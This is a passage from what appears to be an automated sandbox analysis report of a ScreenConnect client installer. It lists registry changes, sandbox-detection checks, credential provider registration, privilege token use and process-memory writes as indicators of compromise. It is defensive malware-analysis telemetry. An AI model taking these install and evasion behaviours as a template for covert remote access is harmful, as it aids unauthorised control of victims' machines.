description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientSetup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000072eafa9cea60e45e0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380172eafa9c0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410172eafa9c000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e372eafa9c00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e672eafa9c00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "1" msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = ec15000077039e7d766cdd01 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs msiexec.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 54e89452fd684a70600672edf5ffad1a5691cb770eff60e01c0a3b4a93514e16 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software msiexec.exe - Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-7195a8b48623ccc2 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F167-CA9F5851A549}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (7195a8b48623ccc2)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\ProductName = "ScreenConnect Client (7195a8b48623ccc2)" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.7.6.9783\\7195a8b48623ccc2\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-DBF1-9FDA44712244}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (6ad444b9212a79c7)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\SourceList\LastUsedSource = "n;1;C:\\Windows\\SystemTemp\\ScreenConnect\\26.7.6.9783\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-7195a8b48623ccc2\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (7195a8b48623ccc2)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-6ad444b9212a79c7 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\506F712A28BDBFF600BB2E4B3F01FCE8 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-7195a8b48623ccc2\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-F167-CA9F5851A549}\InprocServer32 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ad444b9212a79c7\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-6ad444b9212a79c7\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-7195a8b48623ccc2 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C97B1694E424471419F3F8C5663418D msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C97B1694E424471419F3F8C5663418D\Full msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\Version = "419561476" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-F167-CA9F5851A549} msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\49717F9FB65B872DA64D449B12A2977C\506F712A28BDBFF600BB2E4B3F01FCE8 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\SourceList msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\ProductIcon = "C:\\Windows\\Installer\\{A217F605-DB82-6FFB-00BB-E2B4F310CF8E}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\49717F9FB65B872DA64D449B12A2977C msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-DBF1-9FDA44712244}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ad444b9212a79c7\URL Protocol msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\SourceList\Net\1 = "C:\\Windows\\SystemTemp\\ScreenConnect\\26.7.6.9783\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\884E3539D37F91D717598A4B6832CC2C msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\ProductIcon = "C:\\Windows\\Installer\\{961B79C3-24E4-1744-14F9-F3C8653614D8}\\DefaultIcon" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-7195a8b48623ccc2\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F167-CA9F5851A549}\ = "ScreenConnect Client (7195a8b48623ccc2) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ad444b9212a79c7\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\AuthorizedLUAApp = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ad444b9212a79c7 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-DBF1-9FDA44712244} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F167-CA9F5851A549}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-7195a8b48623ccc2\URL Protocol msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.7.6.9783\\7195a8b48623ccc2\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ad444b9212a79c7\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (6ad444b9212a79c7)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\506F712A28BDBFF600BB2E4B3F01FCE8\Full msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-7195a8b48623ccc2\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\Version = "436666374" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\DeploymentFlags = "3" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C97B1694E424471419F3F8C5663418D\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ad444b9212a79c7\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-DBF1-9FDA44712244}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\SourceList\PackageName = "Timy.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506F712A28BDBFF600BB2E4B3F01FCE8\SourceList\Net msiexec.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5228 ScreenConnect.WindowsClient.exe - Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 5612 msiexec.exe 5612 msiexec.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 5612 msiexec.exe 5612 msiexec.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4792 ScreenConnect.ClientSetup.exe Token: SeShutdownPrivilege 4128 msiexec.exe Token: SeIncreaseQuotaPrivilege 4128 msiexec.exe Token: SeSecurityPrivilege 5612 msiexec.exe Token: SeCreateTokenPrivilege 4128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4128 msiexec.exe Token: SeLockMemoryPrivilege 4128 msiexec.exe Token: SeIncreaseQuotaPrivilege 4128 msiexec.exe Token: SeMachineAccountPrivilege 4128 msiexec.exe Token: SeTcbPrivilege 4128 msiexec.exe Token: SeSecurityPrivilege 4128 msiexec.exe Token: SeTakeOwnershipPrivilege 4128 msiexec.exe Token: SeLoadDriverPrivilege 4128 msiexec.exe Token: SeSystemProfilePrivilege 4128 msiexec.exe Token: SeSystemtimePrivilege 4128 msiexec.exe Token: SeProfSingleProcessPrivilege 4128 msiexec.exe Token: SeIncBasePriorityPrivilege 4128 msiexec.exe Token: SeCreatePagefilePrivilege 4128 msiexec.exe Token: SeCreatePermanentPrivilege 4128 msiexec.exe Token: SeBackupPrivilege 4128 msiexec.exe Token: SeRestorePrivilege 4128 msiexec.exe Token: SeShutdownPrivilege 4128 msiexec.exe Token: SeDebugPrivilege 4128 msiexec.exe Token: SeAuditPrivilege 4128 msiexec.exe Token: SeSystemEnvironmentPrivilege 4128 msiexec.exe Token: SeChangeNotifyPrivilege 4128 msiexec.exe Token: SeRemoteShutdownPrivilege 4128 msiexec.exe Token: SeUndockPrivilege 4128 msiexec.exe Token: SeSyncAgentPrivilege 4128 msiexec.exe Token: SeEnableDelegationPrivilege 4128 msiexec.exe Token: SeManageVolumePrivilege 4128 msiexec.exe Token: SeImpersonatePrivilege 4128 msiexec.exe Token: SeCreateGlobalPrivilege 4128 msiexec.exe Token: SeCreateTokenPrivilege 4128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4128 msiexec.exe Token: SeLockMemoryPrivilege 4128 msiexec.exe Token: SeIncreaseQuotaPrivilege 4128 msiexec.exe Token: SeMachineAccountPrivilege 4128 msiexec.exe Token: SeTcbPrivilege 4128 msiexec.exe Token: SeSecurityPrivilege 4128 msiexec.exe Token: SeTakeOwnershipPrivilege 4128 msiexec.exe Token: SeLoadDriverPrivilege 4128 msiexec.exe Token: SeSystemProfilePrivilege 4128 msiexec.exe Token: SeSystemtimePrivilege 4128 msiexec.exe Token: SeProfSingleProcessPrivilege 4128 msiexec.exe Token: SeIncBasePriorityPrivilege 4128 msiexec.exe Token: SeCreatePagefilePrivilege 4128 msiexec.exe Token: SeCreatePermanentPrivilege 4128 msiexec.exe Token: SeBackupPrivilege 4128 msiexec.exe Token: SeRestorePrivilege 4128 msiexec.exe Token: SeShutdownPrivilege 4128 msiexec.exe Token: SeDebugPrivilege 4128 msiexec.exe Token: SeAuditPrivilege 4128 msiexec.exe Token: SeSystemEnvironmentPrivilege 4128 msiexec.exe Token: SeChangeNotifyPrivilege 4128 msiexec.exe Token: SeRemoteShutdownPrivilege 4128 msiexec.exe Token: SeUndockPrivilege 4128 msiexec.exe Token: SeSyncAgentPrivilege 4128 msiexec.exe Token: SeEnableDelegationPrivilege 4128 msiexec.exe Token: SeManageVolumePrivilege 4128 msiexec.exe Token: SeImpersonatePrivilege 4128 msiexec.exe Token: SeCreateGlobalPrivilege 4128 msiexec.exe Token: SeCreateTokenPrivilege 4128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4128 msiexec.exe - Suspicious use of FindShellTrayWindow 9 IoCs
pid Process 4128 msiexec.exe 4128 msiexec.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe - Suspicious use of SendNotifyMessage 7 IoCs
pid Process 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe 5228 ScreenConnect.WindowsClient.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4128 msiexec.exe 5612 msiexec.exe 4640 MsiExec.exe 4400 MsiExec.exe 5652 MsiExec.exe 2872 msiexec.exe 6140 MsiExec.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4792 wrote to memory of 4128 4792 ScreenConnect.ClientSetup.exe 90 PID 5612 wrote to memory of 4640 5612 msiexec.exe 92 PID 4640 wrote to memory of 2560 4640 MsiExec.exe 93 PID 4640 wrote to memory of 724 4640 MsiExec.exe 94 PID 4640 wrote to memory of 4740 4640 MsiExec.exe 95 PID 5612 wrote to memory of 2616 5612 msiexec.exe 100 PID 5612 wrote to memory of 4400 5612 msiexec.exe 102 PID 5612 wrote to memory of 5652 5612 msiexec.exe 103 PID 4408 wrote to memory of 5228 4408 ScreenConnect.ClientService.exe 105 PID 4408 wrote to memory of 1384 4408 ScreenConnect.ClientService.exe 107 PID 4408 wrote to memory of 4836 4408 ScreenConnect.ClientService.exe 109 PID 4408 wrote to memory of 2872 4408 ScreenConnect.ClientService.exe 111 PID 5612 wrote to memory of 6140 5612 msiexec.exe 112 PID 6140 wrote to memory of 2064 6140 MsiExec.exe 113 PID 3644 wrote to memory of 2780 3644 ScreenConnect.ClientService.exe 115 PID 3644 wrote to memory of 3716 3644 ScreenConnect.ClientService.exe 116 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4792 -
